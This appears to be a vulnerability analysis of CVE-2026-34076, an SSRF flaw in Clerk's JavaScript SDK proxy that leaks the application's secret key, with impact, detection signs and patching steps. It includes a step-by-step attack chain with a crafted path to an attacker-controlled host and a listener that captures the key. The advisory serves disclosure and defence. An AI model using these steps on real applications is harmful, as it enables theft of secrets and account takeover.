CVE-2026-34076: 
JavaScript vulnerability analysis and mitigation

CVE-2026-34076 is a Server-Side Request Forgery (SSRF) vulnerability in the clerkFrontendApiProxy function of Clerk's JavaScript SDK. An unauthenticated attacker can craft a malicious request path that causes the proxy to forward the application's Clerk-Secret-Key to an attacker-controlled server. The vulnerability affects @clerk/backend (>=3.0.0, <=3.2.2), @clerk/express (>=2.0.0, <=2.0.6), @clerk/hono (>=0.1.0, <=0.1.4), and @clerk/fastify (>=3.1.0, <=3.1.4). It was published on March 26, 2026, and carries a CVSS v3.1 base score of 7.4 (High) (GitHub Advisory, Github Advisory).

The root cause is classified as CWE-918 (Server-Side Request Forgery), where the clerkFrontendApiProxy function fails to sufficiently validate or sanitize the destination of proxied requests. An attacker can craft a request path — likely exploiting double slashes or path traversal sequences — that redirects the proxy to an attacker-controlled host while the application's Clerk-Secret-Key is included in the outbound request headers. No authentication is required to trigger the vulnerability. The flaw is only exploitable in applications that have explicitly opted into the frontendApiProxy feature (not enabled by default), and @clerk/nextjs users are not affected due to how that framework normalizes repeated / characters in request paths (GitHub Advisory).

Successful exploitation results in the exfiltration of the application's Clerk-Secret-Key to an attacker-controlled server, with high impact to both confidentiality and integrity. With the stolen secret key, an attacker could impersonate the application, perform unauthorized API operations, access user data managed by Clerk, and potentially take over user accounts. Availability is not directly impacted, but the compromise of the secret key could enable persistent unauthorized access until the key is rotated (GitHub Advisory, Github Advisory).

No public proof-of-concept exploit code has been identified, and Clerk's internal logs showed no evidence of exploitation in the wild at the time of disclosure. The vulnerability was discovered during an internal code audit. The EPSS score is approximately 0.033% (0.000380 per Feedly data), indicating a low near-term exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires the target application to have explicitly enabled the frontendApiProxy feature, which limits the attack surface (GitHub Advisory).

1. Reconnaissance: Identify applications using Clerk authentication SDKs (@clerk/express, @clerk/hono, @clerk/fastify, or @clerk/backend) that expose a frontend API proxy endpoint (typically /__clerk/ by default).
2. Confirm proxy feature is enabled: Probe the target for the proxy endpoint by sending a request to /__clerk/ and observing whether the application responds with Clerk API data, indicating the frontendApiProxy feature is active.
3. Craft malicious request path: Construct a request path using double slashes or path manipulation (e.g., /__clerk//attacker-controlled-host.com/path) that causes the proxy to redirect the outbound request to an attacker-controlled server instead of Clerk's legitimate API.
4. Capture the secret key: Set up an HTTP listener on the attacker-controlled server to capture incoming requests; the application's Clerk-Secret-Key will be included in the request headers forwarded by the vulnerable proxy.
5. Abuse the captured key: Use the stolen Clerk-Secret-Key to authenticate against Clerk's backend API, enabling account enumeration, user data access, token generation, or other unauthorized administrative actions (GitHub Advisory).

• Network: Outbound HTTP/HTTPS requests from the application server to unexpected external hosts originating from the Clerk proxy endpoint (/__clerk/ by default); requests to attacker-controlled domains containing Clerk API authentication headers.
• Logs: Access log entries for the proxy endpoint (/__clerk/) containing double slashes or unusual path sequences (e.g., /__clerk//external-host.com/); unexpected HTTP requests to non-Clerk domains from the backend service.
• Application Behavior: Clerk API errors or authentication failures following a period of unusual proxy traffic, which may indicate the secret key was captured and is being used externally; unexpected API calls appearing in Clerk Dashboard audit logs from unknown IP addresses (GitHub Advisory).

Upgrade to the patched versions immediately: @clerk/backend 3.2.3, @clerk/express 2.0.7, @clerk/hono 0.1.5, and @clerk/fastify 3.1.5. After upgrading, rotate the Clerk-Secret-Key via the Clerk Dashboard under API Keys — deploy the application with the new key before revoking the old one to avoid downtime. If upgrading is not immediately possible, disable the frontendApiProxy feature by removing the frontendApiProxy: { enabled: true } configuration. To check if your codebase is affected, run: grep -r "frontendApiProxy\|clerkFrontendApiProxy" . — if there are no matches, you are not using the vulnerable feature (GitHub Advisory, Github Advisory).

The vulnerability was discovered through an internal code audit by Clerk and disclosed by nikosdouvlis on March 26, 2026. Clerk noted in the advisory that their internal logs showed no evidence of exploitation in the wild at the time of disclosure, and the feature affected is opt-in and not enabled by default, limiting the practical impact. No significant external researcher commentary or broad media coverage has been identified (GitHub Advisory).